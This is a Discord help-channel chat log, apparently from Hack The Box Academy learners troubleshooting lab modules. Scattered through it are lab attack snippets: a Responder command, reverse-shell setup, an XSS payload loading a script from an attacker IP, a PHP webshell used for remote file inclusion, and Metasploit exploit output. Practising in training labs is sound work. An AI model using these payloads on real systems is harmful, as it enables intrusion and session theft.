modules

[west canopy]

No worries 😉

[fathom pendant]

<@&861185840277487616>

[rocky estuary]

there's a problem in windows privsec -> Interacting with Users section the responder command given "sudo responder -wrf -v -I tun0" throw en error saying "./Responder.py: error: no such option: -r" i had to change it to something like this to work for me "sudo responder -wrf -v -I tun0"

not sure if even my command is correct but it worked

[novel parrot]

what was it

[fathom pendant]

Don't worry about it

[novel parrot]

i worry about all of you

we are one big family

come on, enlighten me

[fathom pendant]

https://tenor.com/view/the-simpsons-homer-simpson-nothing-to-see-here-simpsons-bush-gif-16295909

[novel parrot]

i guess thats the first thing il ask god when i move on

"what was that thing on nov 17th 2024?"

[azure turtle]

i need help. I am on Footprinting medium. I have the credentials for sa and alex and i have tried logging into the administrator with the creds and it doesn't work i have enumerated SMB and all of its shares that i have been able to find, Ihave tried enumerating rpc with no luck, i have also gained access to the machine via rdp but can't login with the creds found

i need help please**

lol

[fathom pendant]

the creds should work

did you try launching the program as admin

[azure turtle]

im going insane

i mis saw letters as different letters

Is it possible to kick yourself in the head

if i saw that sooner i would've solved it in 20 minutes

[teal sparrow]

Anybody done the corperate OSINT module? And if so what were ur thoughts on it

[mint pine]

Has anyone else tried the ‘web archives’ section of the ‘Information gathering - Web edition’?

I’m really struggling to find the answers from Wayback machine. The answers for 1 and 2 (members and boxes in hackthebox.eu) are coming out wrong even though I got the webpage loaded up, and the last question for the number of pages Wikipedia had in March 2001 is impossible to say since the earliest snapshot they have is for June 2001.

Can anyone help? Thanks.

[median gale]

Attacking Common Applications, thick clients. Can anyone help me here?

[final shale]

O man this exercise just sucked. I can help you. You basically need to follow the steps from the lesson from the very beginning dont skip a step and just put the initial exe file in the debugger.

[median gale]

I ve been stuck here for days.... 😒The initial restart-service.exe?

[final shale]

It is probably because you are just getting the restart-service.exe file and opening it in the debugger. What you need to do is follow the steps. focus on this step, because it generates a new exe file that you need to import that file in the debugger.

[tired olive]

can anyone help with linux fundamentals - filter contents? "How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)" nothing im trying is working!

[hasty mauve]

in Password Attacks module, specifically in Attacking Active Directory & NTDS.dit.
I got the credentials for Question 3, but when I submit then it says wrong answer, any idea what's the problem?

[hasty mauve]

try to run ss -tulnp | grep "LISTEN", see how many services are listening, it says not on localhost and ipv4 only so try to exclude any service listening on localhost and any service using IPv6.
I did not do the module but this is probably how you'd do it.

[tired olive]

can i send my output here?

i did something similar and got the same answer so i dont really nkow

[hasty mauve]

I'm not sure if this is against some rules or not honestly

[tired olive]

can i send it to you?

[hasty mauve]

yes you can

[median gale]

Had already run it, but running it again gave me the same size restart-service.exe so i guess it got be something else

Also since i got these 3 files , i guess that the steps so far are completed correctly?

[final shale]

Now that you have the NEW exe file go ahead and import it in the debugger

[median gale]

The new is the same as the old, check the files sizes

and yet nothing changed

The only map with RW is the heap and is not a DOS MZ exe

@blissful verge Gotta say, really frustrating exercise mister

@final shale Since i got these 3 files everything so far is ok

[final shale]

I would say yes

[mint pine]

Nvm, finally got it. For those wondering: Use archive.ph if internet archive misbehaves, and directly change the date in the url because IA seems to redirect to June 11 2017 instead of June 10 even when you click correctly.

[hasty mauve]

any help

[urban elk]

you can dm with more details if you'd like

please don't add as friend, just DM

[grim nimbus]

hey guys, need some help. I am in AD Enumeration & Attacks skills assessment part 2, question 9.

I have Administrator access to the MS01 host, and am trying to enumerate the user with GenericAll ACL

Using SharpHound, it is successful and able to find the answer. But when using PowerView it shows this error

At C:\Users\Administrator\Documents\PowerView.ps1:5904 char:9
+         throw '[Get-DomainGUIDMap] Error in retrieving forest schema  ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: ([Get-DomainGUID...from Get-Forest:String) [], RuntimeException
    + FullyQualifiedErrorId : [Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest```

Why when using PowerView, it shows this error?

[finite abyss]

Is the source code used in CSWH - Websocket , Section: https://academy.hackthebox.com/module/231/section/2489 available.

[opal nexus]

Anyone who has done 'Cracking Passwords with Hashcat' --> skill assessments last question's - I need to use rules here to determine what password appears the most?

[worthy escarp]

Hey guys whats up? Can anyone help me with footprinting hard lab? I think there is something wrong with I dont know what. I have to ssh with the user tom which I have found already. I have already found the SSH key too. I copy paste the ssh key into my own file and chmod 600 on it and try to ssh but nothing. I get tom@10.129.202.20: Permission denied (publickey).

[urban elk]

how are you trying to ssh with the key

[worthy escarp]

ssh -i id_rsa_2 tom@10.129.202.20

[urban elk]

likely something wrong with the key, would compare with what you found on the server

[worthy escarp]

One thing I can find as a mistake is when I cat the file from vim or nano they have some whitespace around that I am not putting there. When I paste it it looks the same but then it changes. Maybe its that. Maybe not

[gray yacht]

You'll want to output results and figure out a way to count the number of times a hash is the same.

[opal nexus]

Yea I always get each value appears one, so either I missed some password, or the hashcat outputs every password once regardless of how many times It got cracked.

[loud elm]

anyone helpme with the first task in server side attacks: Identifying SSRF. I have obviously found the open port is 3306. But literally cannot find where to go from there. dateserver=http://dateserver.htb/javascript&date=2024-01-01 doesn't give me much when i use it with burp repeater. I have tried enumerating /javascript with ffuf but that hasn't lead me anywhere

[normal sand]

Hey, does anyone know of any Metasploit module where you just set the LHOST and LPORT, and then when you run it, it generates a powershell reverse_tcp payload for you to copy and execute on the target machine? I forgot the name of the module 💀

[grizzled mantle]

anyone here

[fiery berry]

msfvenom

[normal sand]

Nah, that's to generate payloads. I'd seen the thing I'm talking about in a video, but that video was taken down 💀

It's a module and gives you the payload command to run, and then connects once you run the command in the same pane.

Also, anyone know what's wrong with my SMB map?

[thin citrus]

I am working on:
Explore the web application to identify other fields/forms that only apply front-end validation, and try to find one that suffers from 'Validation Logic Disparity'.
Then, after abusing it to obtain UNLIMITED cubes, unlock the "Intro to Academy" module and submit the flag in the first section.

How do we see the front-end validation?
How do we see the back-end validation?

In the source code I saw that if a user login with @hackthebox.com it gets UNLIMITED, but we are not allowed to change email in profile settings:

code: users-controllers.js:
// disable registering with @hackthebox.com domain
if (email.endsWith("@hackthebox.com")) {
return next({
message: "Registration with @hackthebox.com email is not allowed.",
statusCode: 422,
});
}

Can someone help me with this?

[visual umbra]

it is about what hashes you you crack and the format off it.. I have sent you a DM, if you don't have solve it ...

[final shale]

You can do it here https://www.revshells.com/

[visual umbra]

It is a good one!

[normal sand]

Yeah, that's what I usually use, but I was hunting for that module specifically, just to satisfy my mind 😂

I'm trying to establish a reverse shell, got a listener set up on port 4445, but ligolo is returning this when I execute the payload. Anyone know how to resolve this?

ERRO[0715] dial tcp 0.0.0.0:4445: connect: connection refused

I've already tried different listener and proxy ports. File transfers work, it's just when I'm trying to connect back to the multi/handler Metasploit listener when executing my payload.

[normal sand]

I'm confused, but setting my LHOST on the listener to my pivot host's IP address instead of my attack host's IP address worked? Why?

Setting the LHOST to 0.0.0.0 works too, but that makes sense since it means any IP address.

[last bronze]

What are the cert required for doing a job as a Pentester in the US.

And what are the Salary I can expect

[normal sand]

#careers-and-certs

[livid zodiac]

working through the credential hunting in windows section of the password attacks module. i found the first two via some windows searches, but upon trying to run the third party tool suggested in the module i get a notice that says "this app cant run on your pc"

am i doing something wrong here? i tried a few versions of the exe from the github releases page and none seem to work

[visual umbra]

0.0.0.0 will listen to all your ips /interface in your local host

[visual umbra]

Nvm, i did missunderstand you

[ocean night]

Just... Watch out for trying it under WSL in Windows

While you can route over the VPN, you cannot bind to your VPN client IP within it by default

Might be a way to do it.. will have a browse

I mean, you could connect to the VPN from within WSL

But I'm talking of if you have OpenVPN connected on your Windows host, and try listening for a callback from within WSL

[visual umbra]

@ocean night you are from HTB ?several times had problems with connecting via reverse shell on targets in different modules. in some cases it doesn't work, others don't, heard others with dust problems, seems to be npgot when we run vis vpn frpn our own machines this happens, is it a known problem?

[ocean night]

I am, but I can't generally provide support regarding content I'm afraid

If it's regarding the most recent machine, there was an issue, and an initial patch has gone out for it recently

[visual umbra]

Och i see.. it was a out different machines on different days.. thanx anyway

[ocean night]

It looks like you might be able to expose your VPN IP from Windows to WSL with some routing and forwarding enabled

but tbh.. if you want to use the VPN from within WSL, just use the client from within WSL 😅

[eager zinc]

can someone explain this?

[ocean night]

Looks like a GR character set? maybe?

[visual umbra]

Dont get it, what even use wsl at all, use a vm or just install some distro.. 🙂

[ocean night]

I love WSL 🙂

[eager zinc]

i have given an encoded text and i need to decode it

[ocean night]

Change to the decode tab?

[eager zinc]

i think its first encoded with base64 than url

[visual umbra]

Ppll are different 😄

[eager zinc]

https://academy.hackthebox.com/module/110/section/1052

[eager zinc]

yeah i was doing that

first i decorded it to base64 and then url decode but the url decode is same as base64 after first decode

i dont get it

[ocean night]

Try again?

..and by that, I literally mean.. try again

[eager zinc]

tried multiple times

[visual umbra]

How did you decode ?

[ocean night]

Read the question @eager zinc

The hint you need is there

It's a Tier 2 module mind, so no solutions here please 😉

[eager zinc]

yeah sry but idk why im unable to understand the hint

[ocean night]

You're close

[visual umbra]

Dont give up:)

[severe orchid]

YESSSS! xfreerdp is not working!!!! However, rdesktop with specifying local domain worked. Thanks so much guys!!!!!👍

[livid zodiac]

fixed

[eager zinc]

i think url decoding didnt work in zep

[ocean night]

Look at the difference between a URL encoded string, and a Base64 encoded string

You got this

[eager zinc]

i got decorded it using other tool but coudnt do on zap owasp

idk y

[normal sand]

Bumping this question.

[wanton idol]

Just wondering if you need to be in UNI to get the student plan on htb academy?

Would High school/middle school qualify?

[dark hedge]

https://help.hackthebox.com/en/articles/7973133-getting-the-student-subscription
you can reach out to support for clarification

[wanton idol]

gotcha fs fs

[lusty thicket]

how do you get cpts in middle school

wow you must be really smart

[eager zinc]

do you know how to get bridged network for wsl?

[halcyon cedar]

by being a grinder 🤑🤑🤑🤑🤑🤑🤑🤑

sigma grinding

[wanton idol]

No I was just asking for someone else 😭

[thin citrus]

Anyone available for #modules message

[civic steeple]

do you mean to get student pricing?

[wanton idol]

Nah I was asking if a highschooler/middle schooler is able to get the student plan for someone else thats all 🙂

[civic steeple]

i'd think the status of the person signing up at the time is what counts. If you're a student but you want to get student pricing for your dad, probably not a thing...if i'm understanding what you're asking correctly

[rustic sage]

damn bro just exposed himself

[visual umbra]

I think, however, that he meant that he asked for someone else, not that he someone else should get it through him

[visual umbra]

Just Google:)

[west canopy]

You could try web_delivery 😉 its one of my favorites . In this example I am using a meterpeter payload, but I'm pretty sure your payload would work too

[finite abyss]

PDF web application in Final Assessment of Modern Web Exploitation Techniques module is not working properly.
Even while following the steps mentioned in Explanation I am getting Internal server error

[raw crypt]

Is the htb academy where I can start learning about black box? Im most likely going to have a black box test pretty soon and I need to learn about it ASAP, but I dont really know where to start

[lusty thicket]

a test? like an exam?

[raw crypt]

Yeah a really important one

[civic steeple]

i'm in Intro to Network Traffic Analysis, Page 11, Familiarity With Wireshark. I've downloaded the pcacp and opened it within Wireshark. I get this message when i click on any of the interfaces from the home screen, not to mention env3 is never mentioned in the modules, usually eth0 or something else

[lusty thicket]

well if you dont have prior knowledge im guessing it'll be an easy one

do a couple of htb boxes and you're good

[raw crypt]

Not at all

[lusty thicket]

hows that

[raw crypt]

Its not for school and I know a ton of terms, but I have never actually put it into action

[lusty thicket]

thats why im recommending htb boxes

easy ones

i dont do boxes myself but ig you'll do great, follow the writeups you find while googling

👍

[raw crypt]

alr ill try, ty

[civic steeple]

$ tcpdump -i ens3
tcpdump: ens3: You don't have permission to perform this capture on that device
(socket: Operation not permitted)

[upper ruin]

Attacking Common Applications
Exploiting web vulnerabilities in thick client applications

So...I modified the Invoker and the ClientGUI thingy, compiled it and made the traverse jar, instead of doing it 1 by 1 and taking time.

For some reason, the .jar displays the content of the file instead of downloading it. I have used the 1:1 script provided in the module, anyone got an idea what could be the issue?
If someone is down, I can even stream my actions 1 by 1 to see what's wrong, but I am stuck for about 2+ weeks on that.

[tranquil axle]

dang DACL Attacks II Skill Assessment was a rough one. Finally got through it. Took me longer than all the other Skill Assessments in the new path

[lusty thicket]

run as root

[civic steeple]

when i'm in the wireshark gui, i get the same permissions error, any idea what i can do there similar to how i can use sudo on the command line?

if that question is incoherent thats because i just got here 🙂

[lusty thicket]

launch wireshark as root

[civic steeple]

when i'm in the pwnbox, i click the icon to open the wireshark gui, how would i open that as root? is there a way through the command line to start up the gui as root?

[lusty thicket]

sudo wireshark

in terminal

[civic steeple]

$ sudo wireshark
Authorization required, but no authorization protocol specified

** (wireshark:128356) 16:29:36.665846 [GUI WARNING] -- could not connect to display :1
** (wireshark:128356) 16:29:36.666008 [GUI ERROR] -- This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Available platform plugins are: eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, xcb.

Aborted
😢

$ wireshark does open the program

[lusty thicket]

strange

ig wireshark wants access to your users display

but since you’re using sudo the root user doesn’t have access to your root environment

might be wrong

[civic steeple]

this is my first time using wireshark so all foreign to me, i'm in the Intro to Network Traffic Analysis module

[lusty thicket]

you need to let the root user have access to your display

[civic steeple]

chat gpt
xhost +SI:localuser:root
localuser:root being added to access control list
┌─[us-academy-5]─[10.10.15.110]─[htb-ac-1577473@htb-fp9v5lwpgr]─[~]
└──╼ [★]$ sudo -i

root@htb-fp9v5lwpgr:~# sudo wireshark
** (wireshark:136568) 16:34:46.519097 [GUI WARNING] -- QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
This did open wireshark

but i get the feeling i did a weird workaround to get it to work

still getting the "do not have permissions to capture" messages

[lusty thicket]

no

when you’re using a computer with a gui the windows that appear on your display is controlled by something called the x server

in linux this display is referred to by an identifier :0 :1 and it’s the environment applications draw their interfaces

so when you a gui app it needs to talk to this display to know where to put all it’s pretty pictures

and when you slap sudo on a command you’re switching users from you (who has access to the display) to root who doesn’t because root doesn’t inherit your environmental variables unless explicitly told to do so

[civic steeple]

interesting

[lusty thicket]

so wireshark running as root fails to find a display to connect to and fails, the result in the above error you sent

[civic steeple]

is xhost +SI:localuser:root something i will be using often in the future?

or is there another way to give root the environment

[lusty thicket]

if you’re running gui apps with sudo which you really shouldn’t then yes you would have to deal with this every time because sudo doesnt preserve display access unless you explicitly configure it to

[lusty thicket]

yes

[civic steeple]

earlier you seemed surprised that I had to even do this, is there something i might've done to cause this? maybe a reset of the machine would help?

[west canopy]

try this sudo -E wireshark

[civic steeple]

that worked, no more error messages

[west canopy]

also whenever i start up a new Pwnbox, i like to make this adjustment to the shortcut:

[civic steeple]

i think part of my struggle was, once i followed instructions to SSH into a target, i wondered how i got the wireshark on my local machine to work on the machine I just entered. Only now realized i had to start wireshark inside the target

now i see the ENS224 i didn't see earlier, had only seen ens3

[lusty thicket]

yes the -E flag

preserves env vars

this will stop sudo from creating a bridge between root user and normal user

[queen birch]

Hi everyone!

Sorry that I'm messeging there now I'm review pro lab and making writeup for myself Pro Lab (Rastalabs) I logged in with credentials ||rastalabs\S......r2020 ||to OWA but now when I try with this I have an error can you please refer me what I would do?

[analog dock]

#welcome verify your acc

Then ask in the correct channel

[vapid thistle]

@west canopy You were actually correct. From home I had no issue, but from work the issue persisted (which was weird as it was outgoing requests not incoming ones). Thank you very much for this 🙂

[west canopy]

ah that makes sense. Many companies use proxies for outbound traffic.

[spiral wing]

Is there a problem with the first web enumeration module that uses: https://www.inlanefreight.com/ on 10.10.10.121? Using the web based workstation the site doesn't load when browsing via the internal IP. The DNS settings are 1.1.1.1band 8.8.8.8. If anyone has got any ideas I would be grateful. I did the IP to the hosts file to see if that would work unfortunately it did not. This relates to this module: https://academy.hackthebox.com/module/77/section/728

[gray yacht]

Scroll down to the bottom of that section and the target IP:PORT will be provided after you click on "Click here to spawn the target system!". Also inlanefreight.com from is reachable from a browser and does not use 10.10.10.121.

[spiral wing]

Thank you. I was using following the initial instructions where 10.10.10.121 was used. That Is why I expected to be able to browse to it from the box. After the target was spawned I can get to the HTB blog page.

[cerulean hinge]

Hello, is that normal that ffuf takes a while when performing subdomain & vhost brute forcing (on inlanefreight.com & academy.htb for the Attacking Web Applications with Ffuf module)

[lusty thicket]

yes\

[cerulean hinge]

but why ? When I do the questions with gobuster and wfuzz which I prefer, it is really fast

[cloud urchin]

no. took me 249ms to finish vhost enum with ffuf.

[cerulean hinge]

Yes I finally manage to solve it. The issue was coming from my network I guess. Thank you

[gloomy bramble]

LLMNR/NBT-NS Poisoning - from Linux module question: Crack the hash for the previous account and submit the cleartext password as your answer. I am having issues cracking with hashcat and/or John. I use -m 5600 but still get either haschat not found or seperator unmatched. I used the hash for the user from 1st question. I tried from my terminal and academy terminal as well. Any guidance would be appreciated for this one.

[exotic ledge]

I have a zip file，named flag.zip

It has a png file named what's this.png and a flag.txt

[cloud urchin]

hashcat not found? how are you running it? sounds like it's not installed. if you're running it from a folder use .\hashcat.exe instead of just typing hashcat

[exotic ledge]

How to open it

[gloomy bramble]

sorry, not hashcat, hash not found

[exotic ledge]

No hints

[cloud urchin]

you run hashcat and instead of hashcat running it says "hash not found"? verbatim what does it say

[exotic ledge]

I can't extract with binwalk -e

[cloud urchin]

unzip it?

[exotic ledge]

it has password

This question has three levels. The first level is dictionary blasting, and the second level is mask attack. I am stuck at the last level.

there is no hints

[cloud urchin]

would really help if you mentioned the module and section

otherwise i'd say crack it

[gloomy bramble]

just ran it again. i didnt have a file path right, but..i still get errors.: Watchdog: Temperature abort trigger set to 90c

clCompileProgram(): CL_COMPILE_PROGRAM_FAILURE

error: unknown target CPU 'generic'

• Device #1: Kernel /usr/local/share/hashcat/OpenCL/shared.cl build failed.

[exotic ledge]

There are 'What's this.png' and a'flag.txt' in zip

[frank sun]

Hey guys!
https://academy.hackthebox.com/module/54/section/490

I have added the IP to my /etc/hosts file. When I browse through academy.htb:port, i can see the response. But, when I do admin.academy.htb:port it going into load mode forever.

[fathom pendant]

Did you add the subdomain to your hosts file?

[frank sun]

no, let me do that

[cloud urchin]

are you using cpu or gpu cracking? maybe try it in Windows with the Windows version of hashcat. it's not recognizing your CPU.

[frank sun]

thank you

[cloud urchin]

https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/ or you can install the CUDA cores on Windows and do it with your GPU there

[exotic ledge]

[gloomy bramble]

Thanks. I'll look into this and keep pushing.

[cerulean hinge]

Bruh the skill assesment for ffuf module takes lot of times to properly perform the fuzzing it's crazzy you didn't joke with this one

[cloud urchin]

i think i ran like 3-5 ffuf processes to make it go faster

[limber river]

iirc ffuf support threads

you can alse use feroxbuster and gobuster

[cloud urchin]

i love feroxbuster.. but they're on the attacking with ffuf module so.. probably should use ffuf haha.

[normal sand]

I think this might be it. I must've just configured it incorrectly when I tried the payload yesterday. Thanks!

[limber river]

yeah I found it on 0xdf writeups ,ffuf can do the job tho

[austere pine]

hello everyone i need some help with the encoding/decoding part of the web proxies module https://academy.hackthebox.com/module/110/section/1052, the hint says use base64 and url encoding, i've tried that, and the reverse order. Didnt work. Am i missing something?

[gray yacht]

Downloaded the file and it is just what the hint suggests.

[gray yacht]

Something to keep in mind is you can encode something with the same encoding multiple times. Play around with it or if you know of a swiss army knife, use it.

[austere pine]

thanks, i figured it out with this solution was pretty crazy tho. if it wasnt for the hint i might have never figured it out. I assume by the swiss army knife you mean the smart decoder in burpsuite? I tried using it but it didnt do anything

[gray yacht]

My hint was not within Burp.

[austere pine]

gotcha

[gray yacht]

You can DM and I will tell you what to check out.

[kindred prism]

I am in the same boat. Any hints on what we are missing? The root flag is not working.

[rustic sage]

I got stuck in windows lateral movement module , winrm section

Im at the last part where i have to get connect to dc01 as leonvqz used and get the flag

I rdp using pth with user leonvqz on srv02 but not able to pssession on dc01

“Completed”

[barren crystal]

is the script for xss session hijacking correct?

tried redoing it a few times

or am i missing something obvious

[cloud urchin]

that's not a script but you're running a php server, looks like the server worked

[barren crystal]

yeah thats the output

so module is ment to walk you through session hijacking with xss script

im trying it on local vm to see if it's a pwnbox thing atm

[cloud urchin]

what module and section

[barren crystal]

Cross-Site Scripting (XSS)
Session Hijacking

i presumed there script would of worked, but getting that unsupported sll request error

[cloud urchin]

your php command is correct, not sure what you're doing on the other end

[barren crystal]

||<script src=http://IP:8000/script.js></script>||

thats what im running in the fields

[cloud urchin]

tough to say without knowing more.. make sure your payloads are right and the contents of script.js it should work

[novel finch]

Hello everyone! I'm having a little trouble with the Metasploit Module.

[*] 10.129.174.211:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.174.211:445 - Built a write-what-where primitive...
[+] 10.129.174.211:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.174.211:445 - Selecting PowerShell target
[*] 10.129.174.211:445 - Executing the payload...
[+] 10.129.174.211:445 - Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.```

Can I edit the timeout?

[autumn pilot]

make sure you have configured your listening host address correctly

[fathom pendant]

your LHOST is wrong

[novel finch]

I'm supposed to set the LHOST as my own IP which I can check with ifconfig, yes?

[fathom pendant]

your tun0 IP

the one that yknow is assigned when you connect to the VPN

:)

[novel finch]

AAAAAH

[azure turtle]

theres a tiny mistake in the Creepy Crawlies module the wget command -0 doesn't exist cause its actually a capital O

[novel finch]

Now answer me this? Why am I not smart?

[storm elk]

Not knowing something doesn't mean you're not smart. You're smart enough to know that you don't know something and have room for improvement.

[fathom pendant]

#1234357888114364508

[fathom pendant]

https://tenor.com/view/we-all-cant-be-geniuses-brandon-the-ms-pat-show-not-everyone-can-be-a-genius-not-everyone-can-be-as-brilliant-as-me-gif-22509788

[novel finch]

😩

[visual umbra]

I think you are smart, you have been learning about hard stuff, i think you are young, it takes time to get knowledge, things like this is not easy! You will get it, i promise!

Maby try with different wordlists or add some rules/mask in your enumartion

[novel finch]

My bro I'm 33, I think I'm just mentally challenged hahahaha

But I like learning at least

[storm elk]

@night hollow this is not a channel/server to sell stuff.

Best to ask in #careers-and-certs , if you can't access this channel, read #welcome and follow instructions

[visual umbra]

Hehe, sorry Bro! 🙂

[brave field]

Hi, I am unable to connect using SSH in the following question. It's from Intro to Command Line Module. I am using the password from the previous question but it gives me error of 'permission denied'. Am I doing something wrong? Thanks.

[analog dock]

Don’t run kali as root

And why are you using sshpass? Just use ssh

ssh user9@10.129.204.9

[brave field]

I know what I am doing. Don't worry.

[brave field]

It's not getting in the way. The problem is something else. Have tried with only ssh too but same error. It's just personal preference to use sshpass.

[analog dock]

Clearly not lol

[brave field]

If you have nothing better to add please stop talking. You're not helping at all.

[analog dock]

It says there’s no password

[eager zinc]

i want to set payload processing to hex encode, but its not there?

[brave field]

tried that already, even reset the machine.

[analog dock]

Are you connected to the vpn?

You can laugh but there’s plenty of people that don’t do that and then wonder why it doesn’t work

[autumn pilot]

he is indeed connected to the VPN as otherwise the SSH connection banner won't be shown

however, he also needs to carefully revisit the details in the question

[analog dock]

To me it seems he tries to connect using user8 and a pass

While he needs user9 with no pass

[autumn pilot]

the passwords for the users are intentionally left out in the questions as it is part of the assessment to be found

[analog dock]

Ah I see

Am not familiar with the module

You find it in the section before, and then get to the next or something?

[autumn pilot]

You gradually find the passwords for the next user by solving the questions

[woeful lake]

Your user is "user8" and in the question they say "user9"

Meaby is that

[analog dock]

I see, so he isn’t at user9 yet?

[autumn pilot]

that's the thing, he needs to carefully go through the question and the details it has

[woeful lake]

Sorry not reading above

Now i get it

[brave field]

So, it means I need to find out the password for user9 using user8 apparently.

but in the previous questions I have been using the flags as the passwords and the hint was the same as " " and they worked. Maybe it's different in this question.

[autumn pilot]

nothing different

it is the same style/expectations across all questions

[brave field]

For example, in this question, I used the user7 flag for user8 even though password is " ". So I was following the same pattern but it didn't work for user9.

[autumn pilot]

take a break and try again

[hasty mauve]

I don't know where exactly to ask this question so I'll just ask here.
anyone knows when will Season 7 start?

[ebon jasper]

Hello everyone! Can someone help me with graphql skill assessment!! I find usernames, id, apikeys, but not flag. I stuck

[autumn pilot]

try to locate a vulnerability within one of the functionalities

[astral ravine]

how important footprinting module is?

[ebon jasper]

Thank you, I actually found the vuln and I found flag at last very fun module

[cedar void]

Trying to import SeBackUpModule for this module section(https://academy.hackthebox.com/module/67/section/601)

But it isn't working for me(unlike in the module section lecture)

I ran as adminstrator in Powershell too:

• Import-Module .\SeBackupPrivilegeUtils.dll

•   + CategoryInfo          : ResourceUnavailable: (.\SeBackupPrivilegeUtils.dll:String) [Import-Module], FileNotFound
   Exception
    + FullyQualifiedErrorId : Modules_ModuleNotFound,Microsoft.PowerShell.Commands.ImportModuleCommand
  
  

PS C:\Users\Administrator> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\Administrator> Set-SeBackupPrivilege
Set-SeBackupPrivilege : The term 'Set-SeBackupPrivilege' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1

• Set-SeBackupPrivilege

•   + CategoryInfo          : ObjectNotFound: (Set-SeBackupPrivilege:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundExce

[fathom pendant]

file not found

[cedar void]

I see now I need to be in the tools directory:

S C:> Get-ChildItem -Path C:\ -Recurse -Filter SeBackupPrivilegeUtils.dll -ErrorAction SilentlyContinue

Directory: C:\Tools

Mode LastWriteTime Length Name

---

-a---- 5/6/2021 12:54 PM 16384 SeBackupPrivilegeUtils.dll

[fathom pendant]

Or use the full filepath

[worldly jackal]

Hello everyone, I have a problem using nmap and was wondering if someone has a explanation. I am doing a module and in the module they are multiple boxes, I am using nmap to sweep ping the network through a ligolo-ng proxy.

For some reason if I use nmap -PE -sn 172.16.1.11 or nmap -PE -sn 172.16.1.13, nmap tells me that the hosts are up, but if I try nmap -PE -sn 172.16.1.1-15 it tells me that 0 host is up.

I dont understand why is that.

[zealous rune]

i believe that on the ligolo-ng page caveats section there is a warning about nmap like false positives

hmmm just reading your question again

you seem to be pinging different hosts

[grand loom]

im coming back to this question just to answer my concern

picture at the bottom

This image also shows an example of several GPOs being linked to the Corp OU. When more than one GPO is linked to an OU, they are processed based on the Link Order. The GPO with the lowest Link Order is processed last, or the GPO with link order 1 has the highest precedence, then 2, and 3, and so on. So in our example above, the Disallow LM Hash GPO will have precedence over the Block Removable Media and Disable Guest Account GPOs, meaning it will be processed first.

My question i have is at the end of the line it says "meaning it will be proccessed first" if this refering to the Disallow LM Hash GPO it wouldnt make sense since this has link orer 1 (highest precence) but if "meaning it will be proccessed first" is refering to Block Removable Media and Disable Guest Account GPOs it makes sense.

sorry words are confusing but question is "meaning it will be proccessed first" is refering to what group policy?

from my understanding its:
Disable Guest Account -> Block Removable Media -> Disallow LM Hash (with this GPO potentially override settings)

[urban elk]

can you please provide the module ? I am curious about that behaviour too and would like to run some tests when I get to it

[zealous rune]

actually this does seem odd

[worldly jackal]

Sure, here it is : https://academy.hackthebox.com/module/115/section/1139

[fathom pendant]

If you add -vv or --packet-trace iirc you should see the packets sent

[worldly jackal]

I saw the warning that is why I am using -PE

[worldly jackal]

Could try that you are right, gonna test it.

[urban elk]

if you figure it out and can spare the time, please let us know, still curious

[grand loom]

any help here please?

[dusty cape]

Hi I'm stuck in RFI in the File Inclusion Module. I've created the php shell and started an upload server in the same directory. After including my ip adress and command I get the following error message:

<b>Notice</b>:  Undefined index: cmd in <b>http://10.10.14.3/shell.php?cmd=id</b> on line <b>1</b><br />
<br />
<b>Warning</b>:  system(): Cannot execute a blank command in <b>http://10.10.14.3/shell.php?cmd=id</b> on line <b>1</b><br />
<br />
<b>Notice</b>:  Undefined variable: p2 in <b>/var/www/html/index.php</b> on line <b>48</b><br />

Here you can see that the shell is accessed:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.231.123 - - [19/Nov/2024 15:17:30] "GET /shell.php?cmd=id HTTP/1.0" 200 -

[grand loom]

command should be in url?

[neon furnace]

Its in the error. Youre using some undefined p2 variable in your file (I guess). Check you included code

[fathom pendant]

It's referring to disallowing the lm hash

Ordering is top-down

[dusty cape]

It's literally a basic php webshell:
<?php system($_GET["cmd"]); ?>

[grand loom]

doesnt highest precedence mean processed last?

a GPO attached to a specific OU would have "precedence over" a GPO attached at the domain level because it will be processed last and could run the risk of overriding settings in a GPO higher up in the domain hierarchy. 

[grand loom]

whats the file name is it shell.php or shell.php?cmd=id

[dusty cape]

shell.php

[fathom pendant]

That's referring to something else

[grand loom]

Disable Guest Account -> Block Removable Media -> Disallow LM Hash (with this GPO potentially override settings)

is this correct tho

[fathom pendant]

No

[grand loom]

okay understood its the other way around

[dusty cape]

Ok nvm i got it

[grand loom]

i can vc and we can do it need a break anyways

[dusty cape]

have to use & instead of ?

[grand loom]

ayt all good

[dusty cape]

thanks for your help

[fathom pendant]

The "precedence" in quotes is just to say the more specific it has to be, the later it will be processed

[grand loom]

Just to make it clear the GPO with the highest precedence in a tree will be the one at the last OU.

but when it comes to multiple GPO in a OU then its like a firewall rule link order 1 is done first link order 2 then 3 so bassiclly this

Disable Guest Account -> Block Removable Media -> Disallow LM Hash (with this GPO potentially override settings)

is actually the opposite with Disable Guest Account overriding the settings?

am i correct?

[fathom pendant]

Yes

[grand loom]

[formal bough]

Hi all,

